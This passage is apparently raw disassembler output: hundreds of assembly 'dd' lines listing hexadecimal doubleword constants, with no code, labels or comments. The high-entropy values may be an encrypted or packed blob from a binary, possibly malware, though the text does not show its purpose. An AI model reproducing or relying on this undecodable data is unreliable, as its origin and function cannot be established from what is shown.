		dd 3FDE1918h, 621D400Ch, 73C822A7h, 0BFC6BBFCh,	0FD883213h
		dd 92D75391h, 3AF46065h, 4040BE90h, 0C573F02Dh,	6EB16A4Eh
		dd 0DB850704h, 0BB2DAFECh, 5C310BA2h, 0CBCC897Fh, 1E6207Ch
		dd 20482D07h, 0D8820AA7h, 0E9078105h, 446DF894h, 0BEB71296h
		dd 0F101E841h, 116A0BE9h, 5A03F20Bh, 972A762Dh,	5F029A8h
		dd 0BA8007A2h, 3FC46459h, 5EA26097h, 0B9510052h, 338A6836h
		dd 8702E981h, 492FFD1Dh, 1DAF441h, 0D70AF6F1h, 6D7C8060h
		dd 89AFC0B6h, 0BD5951CAh, 30D711C2h, 2558B401h,	0F5F4B264h
		dd 0E2C76B20h, 274CCF25h, 71BBB437h, 522AE922h,	0EC8901F2h
		dd 204BB455h, 15BEA96Ah, 0DE0C1127h, 0E7D6800h,	2D2FDBEh
		dd 59C4223h, 5E9E095Dh,	0B990E266h, 79A83F25h, 8A6F6C5Fh
		dd 451F3FD2h, 67F69FEAh, 0D6280C70h, 42A09931h,	3B78E7DFh
		dd 5AD08917h, 0BA038DF8h, 0D355B6Ch, 2D48220Ah,	0E73EA7C8h
		dd 0C062ADF1h, 615F7406h, 0C44C0C34h, 6C02CF81h, 0E93D2D3Bh
		dd 5451E8C6h, 49B69D5Eh, 0BA8C1327h, 4A61555Dh,	0C6B64621h
		dd 1E94D997h, 0A581E08Ch, 4DF20731h, 0E02CC99Ah, 2781E3DEh
		dd 0E8D25B0Eh, 0A3BF072Eh, 169BEACBh, 575824FCh, 0F6661B5h
		dd 61216BAFh, 0CD6B71F3h, 6C283F04h, 0EF8E2FE9h, 24DC811Bh
		dd 84978BABh, 348C8235h, 3D743268h, 0CCF0BEE7h,	17622485h
		dd 0EB2D0AF8h, 0B573DA89h, 158C309h, 0BB45F3CAh, 4A3C66Fh
		dd 0CD4D7F9Ch, 0CB32BAE0h, 4C2BE3EDh, 27D7BBAh,	280FC83h
		dd 4155CD29h, 0EB7050FAh, 0A07E1E3Bh, 0A2F09A63h, 0C608AED5h
		dd 7D33FAE4h, 0A26949C6h, 0DF464B4Eh, 88930BFEh, 0B4323504h
		dd 0E056F527h, 0F94EF6C2h, 8CC2508h, 45370B89h,	67EA9F24h
		dd 0C5F3AFC2h, 4C4BF85Bh, 0A3F52567h, 0CB4B1135h, 0BE8B3A30h
		dd 3FFD5B02h, 567EF321h, 0A020EB58h, 2FE96BF2h,	0CD791183h
		dd 0E639AB4Fh, 249A862Bh, 63885AD6h, 3F010221h,	29163DF7h
		dd 4C20474Ah, 8A1F4F33h, 20EB92F2h, 0C08BE9ECh,	0B006D4BAh
		dd 25EB8038h, 0F307B706h, 0E9620EE6h, 675CAD34h, 209D4C62h
		dd 0BF17B4CFh, 6DC0425Eh
		dd 0E05448C7h, 0FB010692h, 2ABEACE9h, 0CE1D4E7Eh, 2E5D0FF8h
		dd 0F2B0F681h, 0A03BED07h, 7855A28Ch, 0E43F35D9h, 0A095B3D1h
		dd 803341CFh, 14689D49h, 12C768Eh, 7EA60FB5h, 3071CD08h
		dd 0EAD2ED23h, 97A7093Eh, 842D9FE5h, 0D62F9702h, 6C59148Bh
		dd 0FBEB8D12h, 8B3B877h, 0C9EF0270h, 3A6B4A44h,	600360E1h
		dd 4317C23Ah, 0FFAC9F82h, 0E720A458h, 80B85E4Eh, 52DBBB4h
		dd 35BE982Bh, 79ADDC4Ah, 4547D7DEh, 23E82834h, 0C170ACDEh
		dd 0D55DD377h, 28F167Ch, 0B5A9B60Ch, 681F02C1h,	0C8292CFDh
		dd 0E6B46359h, 5004DFAAh, 0C04A7C38h, 28BEBC65h, 0DAED8384h
		dd 455FC842h, 53660203h, 114259E7h, 5241A0F1h, 0A17E7A68h
		dd 37C57E95h, 56D5DF0h,	896AC371h, 0EBD9DCD3h, 0C4B0524h
		dd 0F100932Ch, 5DF58164h, 1B9A306Fh, 0C0B945CAh, 41E9BF16h
		dd 0B3680242h, 0D937CB69h, 0E4257CE7h, 98E29711h, 0A7E1BA4Dh
		dd 975B5B24h, 0BF98AE96h, 25C004EFh, 7BA61536h,	8BBB2F3Ch
		dd 38B2551h, 6B8454C2h,	0BD245845h, 8AE9F6C3h, 0C0D64AAh
		dd 1E167EEFh, 830CC366h, 0C454258h, 8F5A166Ah, 40A1AD0Eh
		dd 50005708h, 0E9367B68h, 3B40587Eh, 0EE972205h, 0E5800C65h
		dd 7D90602Ch, 7C27D696h, 6E9642D5h, 8021BAD5h, 47637B4Ch
		dd 0E1D14A05h, 350CC8E6h, 0B9007D4Eh, 0F51898C2h, 1CD1602Bh
		dd 0D5C7EFF2h, 0A187BC5Ah, 0BDF05F35h, 405781BBh, 847ACCF7h
		dd 884D9F98h, 6A2C4BD4h, 5457255Dh, 0E9041FDBh,	0FA9203Ch
		dd 0ECEC3512h, 0F951C9D6h, 7CB84080h, 6B00E84Ch, 83B95153h
		dd 2F9417B3h, 8E726EE9h, 37C8EA09h, 0E0A57DCBh,	0E90805C2h
		dd 68D79040h, 0E4B17A0Dh, 0D8035793h, 4083F36h,	820EC2A5h
		dd 898AC014h, 673BD51Eh, 0D1F71B87h, 5247008h, 0E97FEEDAh
		dd 442D13Dh, 750709Dh, 5A97A4B1h, 9AAE7D84h, 40CF3AF6h
		dd 1A202BDh, 0EA29540Ah, 384C1h, 3D0860BFh, 95161F26h
		dd 844EFDA3h, 4AB8E428h, 3627BA93h, 0AF1FD9D4h,	0C9911F46h
		dd 5FE7588h, 0FF654068h, 28EA8E31h, 0ADC14231h,	30232C01h
		dd 0AFE90455h, 9FAA9679h, 649D514Ch, 0A05C4F03h, 744A7AC5h
		dd 5716378Ah, 435E3F2h,	17D625D4h, 759608C0h, 0D43EE559h
		dd 0FC6BC4B8h, 45B8E08Ch, 0C647FF42h, 9AAFF514h, 87B84A75h
		dd 0F7F4E982h, 0E6249DABh, 2716AFEAh, 0E9C48AF6h, 37DB8DAh
		dd 904467BFh, 0A72C006Fh, 4F28D138h, 36BE7C1h, 20B77007h
		dd 0A0B4DE35h, 0D7E1F917h, 4E03E63Bh, 0E84BC9BCh, 1E63816Bh
		dd 67EC17ADh, 0E397C9DDh, 0B4A97A07h, 0C18DC0E6h, 4C28771Ch
		dd 3209BE22h, 0D824A870h, 5A7B905Fh, 54E12827h,	4C66E240h
		dd 7F841729h, 775C096Ch, 9E682598h, 87F3314Ah, 1985DF52h
		dd 0FB63BAB3h, 388A275Dh, 8FC21E4h, 9931764Ah, 0F94DE7B7h
		dd 301F6943h, 4893B51h,	0B5492C5Eh, 0D06EB736h,	0B3953394h
		dd 0C955E909h, 8969EB5Eh, 858C9537h, 0FD6DE950h, 0EAF730A4h
		dd 4AAC0577h, 6000291Ch, 0B9D71338h, 0DD07D9F5h, 0A2801CB2h
		dd 5F31628Ah, 6BCC6E98h, 0FD981AD2h, 80BB40A1h,	86C42198h
		dd 200AC1A4h, 3BAF46D0h, 434D0509h, 0BB7F8181h,	75C53EC4h
		dd 1255F3E0h, 144D502h,	9F29B310h, 61E9CE7Bh, 6442641Dh
		dd 0D332FF26h, 0C8684F30h, 0D2CB9E7Ah, 372C8941h, 2F560592h
		dd 36C5149Eh, 6421C8Eh,	0E814E912h, 0D907DB91h,	97292364h
		dd 7BBE56C0h, 250FE333h, 0FCE6D14Eh, 957D980h, 5934E92Fh
		dd 6809E192h, 0BA514BEBh, 0B54B66ADh, 0CF015268h, 4D0AEA1h
		dd 0F3B1288h, 0F74C9410h, 64CC2D80h, 0ED37380h,	51AB0BEFh
		dd 0A863AC0Bh, 93A17612h, 0B835534h, 974CD955h,	0D89D446Eh
		dd 600A13A0h, 0D0A7B425h, 0D7CB81D2h, 5C4D0E7h,	67101D84h
		dd 4E596725h, 8CF1A613h, 0A565E22Ah, 0E30017BEh, 59B05A39h
		dd 0CF1600B3h, 7FF6815Dh, 105C5E09h, 1FC80162h,	0F3894D91h
		dd 6A05C638h, 0F5640335h, 5B080319h, 4E021E38h,	0A4D4F5F9h
		dd 6CB77720h, 0A55D200Bh, 4CD4F4A0h, 2960A913h,	0F2E092B8h
		dd 0BC604727h, 851F21AFh, 4F3E963h, 181DEA96h, 36158184h
		dd 692D7F6Fh, 25E7317Eh, 64800588h, 5A3567DAh, 7E7EE17Fh
		dd 7E017585h, 7E9676EFh, 0F02BCFF1h, 205B67B4h,	804E4FECh
		dd 2A992342h, 7CE60CC0h, 0B7313837h, 0D7570B83h, 72BB6025h
		dd 604E90E5h, 0B9EECD12h, 0B1A8D378h, 307E077Dh, 212E0141h
		dd 5DFD508h, 777D0805h,	183A2F8Dh, 25AB92BAh, 0E90BEE04h
		dd 0F594C6EDh, 0C00BCDBCh, 0B72B06E0h, 655FF26Ah, 173FA41Dh
		dd 9452BD49h, 0E79373CEh, 27CEE98Bh, 5F4221F2h,	0FBE8554Eh
		dd 0FCFD8104h, 72483B1Ch, 1D650420h, 2DC0025Dh,	0F33C518Bh
		dd 26ACBF0h, 0E963E257h, 6BEC24C8h, 204444BDh, 0EB80AF51h
		dd 6A17EFC5h, 0FBF848B9h, 0B6728517h, 5A422F97h, 0C0DE81EDh
		dd 751AE60h, 0F58073B5h, 0F2ED33DBh, 28E6061Fh,	666218E5h
		dd 0DAB16251h, 41792503h, 92C86408h, 9F38EF4Fh,	43DB2D68h
		dd 0B44ADEC6h, 74C4DD8h, 5744F274h, 67DDF051h, 46C04F52h
		dd 26118E9h, 7F70986Eh,	6378304Eh, 19427718h, 0A8254775h
		dd 754A48D6h, 276ABBD4h, 4560665Eh, 9F4CC234h, 0D4C0C984h
		dd 551FFE02h, 0D7164ACCh, 315D17EBh, 6B1904D8h,	2EB707EAh
		dd 0EA54E575h, 0C383B1B9h, 2159656Ah, 0D54520Eh, 0CAE555DAh
		dd 56B94C89h, 0C558E7E8h, 240F9D3h, 0DA63F7CEh,	76CF627Eh
		dd 460D0926h, 0B8F00204h, 0A8325BB7h, 0EF894151h, 14F78000h
		dd 0D2C4F8E0h, 96E423EDh, 1B9139D2h, 0AE90E0CFh, 0D61A8358h
		dd 8B21ADF1h, 79A24DD0h, 50C3370Fh, 0B2590B58h,	0F4350069h
		dd 2E383C6Fh, 973615E9h, 5F7C166h, 0EC725969h, 64B5DA8Dh
		dd 4AD7B900h, 4E6E10E6h, 2B4D9B4h, 8F22313Eh, 9A402047h
		dd 1536302Fh, 30303842h, 9C0C015Ah, 0DE02C190h,	5B205F29h
		dd 84086A59h, 0A6D45CE2h, 96E3D312h, 0CA4CD18Eh, 0D252F708h
		dd 68910408h, 6BB82F16h, 0A81201CEh, 0D621E2AEh, 30E98523h
		dd 9D3C8898h, 60396B17h, 0B44018FCh, 7582005Ah,	7BF52D03h
		dd 0E92437D3h, 60A5FD84h, 9E477BFh, 0C58985A8h,	0EED4422Bh
		dd 0BBD6494Fh, 5693F210h, 7EB801A1h, 2173C045h,	6636509Ch
		dd 3B74A7BFh, 0F7EC09BFh, 121F0A93h, 585F1199h,	254B35C6h
		dd 10C2631Eh, 8CEDD701h, 4FFC024Dh, 0EF3EC1F8h,	0F7818105h
		dd 565232CDh, 6248BEF4h, 8EE1E6Dh, 5BD7E601h, 0E8646F5h
		dd 5E3992C6h, 16A14D98h, 0C2188FDAh, 78275FB6h,	7605F8B2h
		dd 1A10D249h, 9075BD8h,	53CCCF0h, 454FDE25h, 0C8D2B0F3h
		dd 38EBE965h, 0C27B7556h, 806AECBCh, 6109E814h,	199A68DEh
		dd 0E907D82Bh, 5E3C7E5Dh, 97662838h, 72C537D8h,	8BB252E3h
		dd 28718A30h, 501C58C5h, 54ADE888h, 9D952A31h, 46053309h
		dd 0BEB3E0B2h, 0B2077132h, 83237609h, 1A7369BBh, 6AAAE2B0h
		dd 8018BFEBh, 6C922AA6h, 0AB0F38E9h, 784DC35Bh,	996AEF7Bh
		dd 0C7E22A0Eh, 2695B15Fh, 768C467h, 0CB3E36B1h,	0D1E90C60h
		dd 9BD64B7h, 5AA96E8Bh,	3A968557h, 64689744h, 0CE2F73E9h
		dd 802ECC4h, 1C17E225h,	74EAE21Fh, 0BC59128Ch, 34F3A742h
		dd 0C3712512h, 0F66EA2F2h, 0A2EBAE0Eh, 54F854E9h, 2A12B9E7h
		dd 0F003B859h, 0C4754068h, 0F7A7B891h, 0FBB15ED9h, 68ABB43Bh
		dd 1064D227h, 915A58D4h, 0E0D3C034h, 42585568h,	8B00D26Fh
		dd 2BFA2DB7h, 8B61BF46h
		dd 0F1168251h, 4018DA57h, 2E7E3C8Ah, 3717A78h, 327D250Eh
		dd 89C60C3Eh, 0E056E583h, 5F054ABAh, 4CA6A219h,	0CF12892h
		dd 0BFEAE912h, 0CB7E6B71h, 0DE4203Eh, 747CD44Dh, 3BB15624h
		dd 4FAEDF94h, 0E103DDC5h, 0D1765318h, 77636936h, 0E39E8320h
		dd 2ED23158h, 0E98B7CE9h, 0EC9D4D85h, 5FBA16AEh, 0E2D40A18h
		dd 3E0512D9h, 825B0152h, 8209E179h, 0BF34780Ch,	6841006Ah
		dd 295B56B9h, 41EFA2C2h, 0B6CF10Fh, 0D7F6880h, 0BD7787h
		dd 9B5E345Ch, 0A388A14Ah, 0BCBBE8D8h, 3B62025h,	79CA3514h
		dd 0DA20F031h, 0D180BD65h, 0FEEEACECh, 0CBAC82B7h, 60337680h
		dd 772D557Ch, 64201BB0h, 0BCCCB4E0h, 56D1B397h,	0EA97F07Fh
		dd 340C2113h, 0F36EF927h, 4FF4152h, 648737h, 515465BAh
		dd 0BB82C178h, 401ECF19h, 0F9467A8Fh, 7AB60E7Ch, 72E98DB9h
		dd 68409796h, 0EAD5BD55h, 5E9B908Dh, 0BF42C0C7h, 302779E0h
		dd 63E45Ah, 75A55ECAh, 4E48312Dh, 9484634Eh, 105F070Dh
		dd 6F200661h, 2D700306h, 20BB3436h, 9C0D72A8h, 13C32F4Ch
		dd 2C4071E9h, 0FE5AD530h, 0B212F4C5h, 4089A23Fh, 1216BEF9h
		dd 133D42Eh, 9C3A7C5Fh,	127C284Eh, 0A5F00AE9h, 69681253h
		dd 0C0F0FC57h, 1F11C29h, 9F4B256h, 6A3B4283h, 22075C28h
		dd 5FAAB0ACh, 4E17CA5Ah, 0AA004853h, 0CB814308h, 0E62D14AAh
		dd 38039A71h, 455B9A04h, 0A0CDE08Fh, 32781F4Eh,	0A0B5E92Fh
		dd 1BE2C5C5h, 2097B04Bh, 0E3B59250h, 13FF9DB2h,	88C8BDDh
		dd 2C1F09E9h, 0C35E09DDh, 565A9E14h, 15730861h,	0A25B3196h
		dd 0C1E98469h, 0F83BBBBDh, 0A5A657A4h, 0A3B18266h, 3BE0630Bh
		dd 11E7D14Ah, 0A9B9347Ah, 0F35B75EBh, 6C4C4CB7h, 0EBC17C18h
		dd 639F58C6h, 0DA90D9B0h, 1047207Bh, 0E72F5782h, 6225B229h
		dd 1322DC62h, 129EB5Bh,	1D2BF22h, 37E3966h, 0B59B202Fh
		dd 7484709h, 2F37ED1h, 0EC2264C2h, 6AD6097Fh, 0B5AA6044h
		dd 455B94Ch, 0C001B353h, 4FE994FEh, 0D4DD429Dh,	0FEE97976h
		dd 9920758h, 0A265D901h, 7E6C162h, 0E2625721h, 7BBB5301h
		dd 3F5132ECh, 120B4313h, 2C84421h, 41786850h, 0B4647D7Bh
		dd 0BBB4732Dh, 1E07D9F9h, 577C412Bh, 0CE05E6C0h, 7ED88749h
		dd 7CED8AD0h, 0C66C2751h, 6E9F5670h, 30E912DBh,	0E172BB14h
		dd 0E06857D2h, 8980625Ch, 391B97E1h, 2FD886E9h,	0B608504Ah
		dd 0BE576303h, 0CAC9B068h, 2E1D3371h, 52257A18h, 0FDF56045h
		dd 0AACFD674h, 5BD92E02h, 8D315958h, 2B86CB28h,	682D7DCAh
		dd 0DD0143A9h, 2A5253FAh, 0DA5FA4C2h, 7F45B577h, 680351A5h
		dd 35184C67h, 1BD76F02h, 75A94AE9h, 5978D98h, 2C53539Fh
		dd 27E3103Fh, 43F398BFh, 0BE117E47h, 8C314FBh, 27905F27h
		dd 5681C4EBh, 83B14ED8h, 8761A8D9h, 0BF2DAD0Ah,	5526A1C1h
		dd 16322720h, 156AE36Bh, 475BBC01h, 1947D743h, 0FBDF7F00h
		dd 2148EB71h, 68021AE8h, 5E95754Ch, 1E70862Ch, 9FDBB50Ah
		dd 712A3BA4h, 937E5C6Fh, 62647A01h, 6C307018h, 4B257BF9h
		dd 2CC90401h, 7A8115DFh, 0F681DE01h, 336B8946h,	3148B03Ch
		dd 2DB8498Fh, 4CC304E5h, 0BCA6F40Eh, 803A98E1h,	61B6C3E7h
		dd 0C387430h, 2DAC1D8h,	151A2DF8h, 62D70FA1h, 2E070886h
		dd 7BBBCC09h, 0A9C949F6h, 0E4CE8052h, 0BA7CCC25h, 0E90BC5E0h
		dd 5980926Eh, 90529F2h,	19850FDBh, 4A68E3F0h, 89E1E08Bh
		dd 7972349Ch, 29E961FFh, 0EA402E89h, 8077B28Bh,	2D417DEAh
		dd 3722672Bh, 5F09A861h, 0EA5F151Ah, 0D3A08762h, 0AA5BD823h
		dd 0C74577C1h, 874C89BFh, 0DCC38301h, 5F593860h, 3A0BF2E0h
		dd 9902D30h, 4D6F8416h,	1CE15706h, 0CEE2CB9h, 0DB371ECDh
		dd 0EAD88BF6h, 0E52F23F5h, 0B774D87Fh, 5440306Ah, 8D97FDC7h
		dd 0A22F3E85h, 2AA4D673h, 0B53B9A65h, 0D44A47C5h, 6202B400h
		dd 95D0F77Dh, 708AE360h, 3501FE01h, 7B63922Fh, 45BA0C7Fh
		dd 0AD246839h, 5E69FF4Eh, 475D52CFh, 9DF63D5Fh,	6804D5CDh
		dd 56B67A80h, 104AB748h, 192EF51h, 0D6F648C9h, 0E94CCC80h
		dd 7D8DF859h, 74066817h, 0EC548A8h, 4058388h, 28FD209Fh
		dd 52E82CF0h, 49A1505Eh, 0ECD09320h, 8A343F5Ah,	9721B650h
		dd 0CF5701E2h, 0EDAF3F40h, 58932EFBh, 0B628CBF0h, 0EFA63D50h
		dd 0BD150C69h, 0F10FC253h, 661DB313h, 7177EE2h,	26050DF3h
		dd 0FA16B2AAh, 4E02BA28h, 0DD89024Ah, 7A9D0C16h, 3057B3CFh
		dd 1B06E90Dh, 82C7A7C0h, 0F60C17E5h, 5C80FB28h,	6E02D40h
		dd 12F30BAh, 45DC64C6h,	2788376Dh, 8F93E01Bh, 44406447h
		dd 0FAAED35Eh, 0CFC80B4Bh, 0F61F40C4h, 3980D13Ch, 0AC19D82h
		dd 2857F19Fh, 9710F5E2h, 8FC75086h, 513EB9B2h, 0C164AF53h
		dd 762658C9h, 73EEA0DDh, 5E5D411Dh, 0B127C98Ch,	278FBCB7h
		dd 0CDB7D770h, 0E0AD39B9h, 89C97256h, 0C2ABFFE4h, 9B69CC30h
		dd 556B0A91h, 15EC65BAh, 35DEED30h, 59E7EBh, 0DF31BC3Dh
		dd 512F2D5Bh, 504E402Fh, 630E2F56h, 0DF802879h,	4B64EE3Ch
		dd 0D3E348D1h, 8D394401h, 2565E943h, 9B302F78h,	9F5AD129h
		dd 5FD20723h, 5B002273h, 8E8D2DBDh, 0FDCD2945h,	920149DAh
		dd 40CEF821h, 0BD92C49h, 8951E50Bh, 0A7DAE682h,	7886A25Fh
		dd 0C2BED477h, 505E42Ch, 0E014C8AAh, 5414A164h,	5AACCBBAh
		dd 0D7A50D62h, 166B6190h, 0AF09F63Dh, 0F31CA014h, 4A7274EEh
		dd 19CE92Ah, 0AB83C2Bh,	176AD6E9h, 5C79E032h, 30506677h
		dd 0D1805DF8h, 0D0390BEAh, 9A8C840Fh, 2E26814h,	0A0FAFACh
		dd 0A55D9B2Ah, 0D2054E3h, 713E2F76h, 7ABF0B57h,	0C101136Ch
		dd 0D90AA1E7h, 61C54060h, 374C2B4Ch, 0F750508Ah, 340B520Ch
		dd 704F0C54h, 31FC2549h, 0DB13FD74h, 0A44F1FACh, 184A9602h
		dd 0A4A13DE8h, 0E316AF17h, 68DD90A0h, 997C54B9h, 8E0F5F78h
		dd 0EB96505Fh, 0AF28AB41h, 0FE1F2578h, 0C928E279h, 9D141A20h
		dd 0A250FEA7h, 0BE54168Bh, 43A26886h, 1982B6Dh,	0C5902D89h
		dd 5A0B5BC2h, 28015265h, 8A2D084Bh, 4FDBB58Eh, 5DE4B7B6h
		dd 0C5C1000h, 20076809h, 59825079h, 400BD434h, 25137CB3h
		dd 0DCD646CCh, 6FB93501h, 0C8D44D51h, 43F03D63h, 7D3B0801h
		dd 2AC30141h, 2EDAE2Dh,	0D347F33Eh, 0B5B58BFCh,	0CAB942FDh
		dd 0F052A35Eh, 73611682h, 0C5F4009Ch, 0CCA1D46Dh, 18E2E9FCh
		dd 0BBC9009Fh, 48AF78D9h, 0A85A6838h, 63668CF0h, 4868EA57h
		dd 5F2D6737h, 5678C583h, 0FBCD0B1Bh, 0E9E39F2Ah, 0D0ACDCF1h
		dd 25D48887h, 0E90099E5h, 80B52E2Ch, 41EC213Bh,	0F12D0380h
		dd 0C46AC87Ah, 4CF28477h, 0E1B6D808h, 20D76695h, 5D03E211h
		dd 7D05B951h, 0E081D2F2h, 690D8289h, 0A1F5F8EEh, 0A7F9E9FAh
		dd 2CB2CA2Ah, 8C10AAC2h, 0CFFA052Dh, 7EDA2D01h,	0C8290A14h
		dd 0E999303Eh, 6897824Bh, 81BE32A4h, 8A566EBAh,	0F182B816h
		dd 0C6EC5558h, 95FE8220h, 309F07C6h, 827ACB66h,	9F82EF46h
		dd 5F821CFDh, 5A7B3257h, 2A6F1F79h, 66FC9A3h, 94105B72h
		dd 99C30F1Eh, 0FD216103h, 22CAEEF2h, 0A60E677Dh, 0B250E928h
		dd 908D9A20h, 4A180184h, 7B683909h, 30306E33h, 0FDE1B71h
		dd 7CEF8159h, 4F52A540h, 0CC4F6EE9h, 0E8A0F496h, 5515E56h
		dd 0E07BADC4h, 1F7DA2E6h, 10D6F730h, 0BC26BDCEh, 31E686F5h
		dd 0D2242925h, 0F10C46DBh, 7DCE085Eh, 0F607BF59h, 972DF02h
		dd 2F95A6Fh, 1394CD88h,	8197F659h, 0AAE9FA29h, 0A299127Bh
		dd 0C668C4E0h, 2183CDFBh
		dd 0C059E8C4h, 0AABD2702h, 555EC931h, 8E9AEE0h,	0FD900D5Fh
		dd 4FF24F24h, 655F53Fh,	0CBBF1C08h, 740C04A9h, 876BE325h
		dd 0AD35CAC5h, 0BF40F5F9h, 58D5455Ah, 1B613C7Bh, 0E0CB2159h
		dd 0E495EBDDh, 0E3F720CAh, 0C6DF8928h, 846AB748h, 0EF13C8F6h
		dd 5C1D7A0Bh, 348B8944h, 0E942BDD3h, 9A55E94h, 0B4575B54h
		dd 407CBCCCh, 0C3DBE955h, 38EDD080h, 0D8CD80h, 4084FA12h
		dd 2601E22Ch, 809F0618h, 3A43EA62h, 753C48ABh, 0BF075D07h
		dd 0ADF2C126h, 6FE8E1DCh, 0C5218704h, 7563B382h, 90A5F365h
		dd 2BE5600h, 2A0F3633h,	117444E9h, 56CDD627h, 1F426391h
		dd 0D9BD0099h, 535B941Ah, 86F40AF1h, 35995D2h, 4521C387h
		dd 4AE75F5h, 97853F5h, 0F35A722Dh, 0B17CAF00h, 0DCAD604Ah
		dd 21C70585h, 2297EFD5h, 0B6CF03E8h, 2051E07Ch,	4595C28Ch
		dd 0FC0E8B3Dh, 0E22D8BF9h, 70EDD1Bh, 844464F6h,	5A7CF8CCh
		dd 1E464B8h, 0B1412C6h,	0E12C3E5Fh, 5C9BF87Fh, 4000E526h
		dd 52C02548h, 50571B2h,	41D9563Ch, 0BC439680h, 56AB883h
		dd 615868F1h, 0DC34AB47h, 0C5339E91h, 0F6A2B000h, 0C0FED818h
		dd 0FEBE2C04h, 0A46E4BECh, 44042B42h, 5E5B10DBh, 5B66E288h
		dd 0F0DCE4D3h, 316A5841h, 6A082EEBh, 918B3753h,	528AE912h
		dd 59FAD0Dh, 0C9FCCCEBh, 325976E8h, 0B5A0E909h,	54495EF6h
		dd 81F9721Fh, 85A71A5h,	8420B64Eh, 3220010Ah, 6CB0CB38h
		dd 5F582627h, 30C3A077h, 5A12A194h, 0E148BCA3h,	9065B579h
		dd 48E20112h, 5306568Bh, 554F2E7Fh, 1BAFE6E1h, 9319FA73h
		dd 37D86819h, 75095033h, 8C08BF05h, 3FCAEF70h, 83B080B1h
		dd 0C2308FB2h, 0CA7EFEF2h, 3A054F5Fh, 0C5BD015Ch, 79206258h
		dd 0AFC7FE3Bh, 0DF97A0BAh, 5CB9585Bh, 0C7403E4Ch, 0CFF1EBF9h
		dd 1198A27h, 6EC7FB8Ah,	0D0B22397h, 88B9FCCEh, 0F828C328h
		dd 0F9367D09h, 0B18C0002h, 4B503D38h, 0B4DB929h, 0C6AFBFE9h
		dd 0F8C29D7Dh, 0B8029258h, 77B13597h, 9AC68221h, 0E32801F4h
		dd 39B2E580h, 45C13672h, 0F583353Eh, 615B82F7h,	57AB660Fh
		dd 0CB801C0Ah, 0CEBC23Ch, 89D9DE88h, 0E9EE09B8h, 0BA46C0E6h
		dd 304E00A0h, 0E3EB933h, 12F1042h, 409C1AD1h, 80BEF100h
		dd 5D0BEA29h, 0BA1C5721h, 5ECCD717h, 54B2C389h,	40C181DCh
		dd 15C83F19h, 817A40B3h, 0EEA5F60Bh, 0BE585087h, 0A6E9864Dh
		dd 8381E3F2h, 0A15D2B3Fh, 0E9371070h, 0BBC497Ch, 0E8C07B07h
		dd 0B309AF07h, 0C220BEF2h, 0CA02BFE2h, 0FC0B9CDBh, 80DE395Ah
		dd 9A4A841Ch, 595B762Fh, 0F25C2D4Ah, 25A70495h,	0AF9D762Dh
		dd 9825CEE7h, 84B7A282h, 64494B02h, 71D8213Ch, 9C056014h
		dd 385C6842h, 3DBB0085h, 0E581031Fh, 0B6610F54h, 0DB615358h
		dd 20E70BA4h, 0C3C466B0h, 37BE5BD9h, 0F8EBE289h, 0B39651FCh
		dd 40A30CA4h, 57B65556h, 0BEE9D053h, 0EC739FAFh, 0C22D4C2Ch
		dd 1514D76Bh, 9E64CBFCh, 47C2FA31h, 297060C2h, 7C521A34h
		dd 88801258h, 11451505h, 3397E0FFh, 2936380Dh, 8042EF2h
		dd 0EEA642BCh, 1090099h, 6642D9DAh, 0B700D33Ah,	80CFFEDEh
		dd 2D30F0F7h, 0E1F85BFCh, 468F82B7h, 86335F12h,	0ACBB4C00h
		dd 31023CDFh, 88E912DAh, 140B960h, 3492BA52h, 0A89A1C6Ch
		dd 8F410D8Eh, 0F3797ED3h, 0D9A50968h, 0C6D23B6Eh, 7DA86A52h
		dd 0EBD3A219h, 2BAD2FE9h, 0B95B66E3h, 840FC448h, 508090EFh
		dd 408A1CB8h, 80F15345h, 2B1675B9h, 5B024EF2h, 56D20D55h
		dd 61052789h, 0DB69FB51h, 0EBD25876h, 59089B12h, 0C62109D5h
		dd 252A3CFDh, 4A20DDE9h, 539A8AF3h, 0B85DAC7Bh,	0B4244B5Ch
		dd 0F43876C4h, 617E411Eh, 26342A22h, 4035BBCCh,	84EA5E55h
		dd 0A4D9CE16h, 0E45A9AFCh, 1411AEA9h, 74136BFh,	68C25E32h
		dd 73715D09h, 69789980h, 2FEF2907h, 0B380FDE9h,	0CC5ABC68h
		dd 1DB01D5Ah, 512818A2h, 66540C0Fh, 793EA924h, 0D297A400h
		dd 95D7898Dh, 0FB5140B0h, 2767F582h, 0E4100C10h, 6B2D0082h
		dd 54EF86Ch, 9A60131Ch,	41B2EC6Fh, 2B2025C9h, 0DA577D4Dh
		dd 5688162Bh, 0B212B8C3h, 0EA117029h, 99544A97h, 0AAE95539h
		dd 82FB7934h, 0A6A953B0h, 0F5E729FDh, 35866C9Eh, 1E6AEE20h
		dd 0C78C580h, 0C3F992E3h, 4334E709h, 0DA0D006Eh, 246338CAh
		dd 7103DE31h, 38A7322Dh, 234F87E7h, 0A96FD135h,	7E29F7BAh
		dd 0A8AB503h, 5766C3ADh, 6AE72DF1h, 1826E4F7h, 85E4428Ah
		dd 49C3B900h, 21201289h, 0B2DCAh, 77B641E5h, 2F89DF58h
		dd 90934C5Ah, 4B459DC2h, 76B428BDh, 0F7CB87DDh,	0F3EF41DBh
		dd 4A2C02D8h, 0ED5FF00Ah, 5E9704Eh, 48DF68D8h, 0DF26B824h
		dd 0C1A66212h, 136DE05Eh, 1D49C641h, 0E2F056Eh,	0C4DDFCB3h
		dd 580990A2h, 4816606h,	7FF63B0Fh, 31FF565Dh, 3B0DE93Ah
		dd 0AE0B62E2h, 69875432h, 0EC78EEBh, 42CB601Dh,	3637B37Ah
		dd 4181E04Bh, 0D8823FD5h, 108BF275h, 5B200670h,	0EE872EC1h
		dd 0D95018Bh, 6B686166h, 24E913A4h, 4713CE03h, 0F7CD30BEh
		dd 461EDC0h, 5D682C12h,	9C742DAFh, 9D38CAA4h, 49C0C90Ch
		dd 0DFE9BA2Ch, 0CE469D55h, 5804F592h, 42666856h, 0A9C1F9ACh
		dd 3809B440h, 0C1EAB5BAh, 60DAF77Bh, 6C41358Dh,	0B758F360h
		dd 6861CEF9h, 312F11A4h, 2A963085h, 14856C42h, 59CFE019h
		dd 1A6E97BBh, 0AD4BB039h, 0CFD8D8EBh, 0BBC90206h, 91274070h
		dd 0D0C6F4D3h, 6BE1FA68h, 0E9097D8Bh, 0F122DBFEh, 5B0052A6h
		dd 1B6A432Dh, 0CC89A96Bh, 0C387BBF5h, 72E7DCFBh, 9D66C5Dh
		dd 1E0965EDh, 0A03AE304h, 0AE0BBDDEh, 5E77572Dh, 60660C26h
		dd 3A90EFE3h, 7468DB20h, 0A60F79ACh, 5D517FC1h,	0DF5BC49Fh
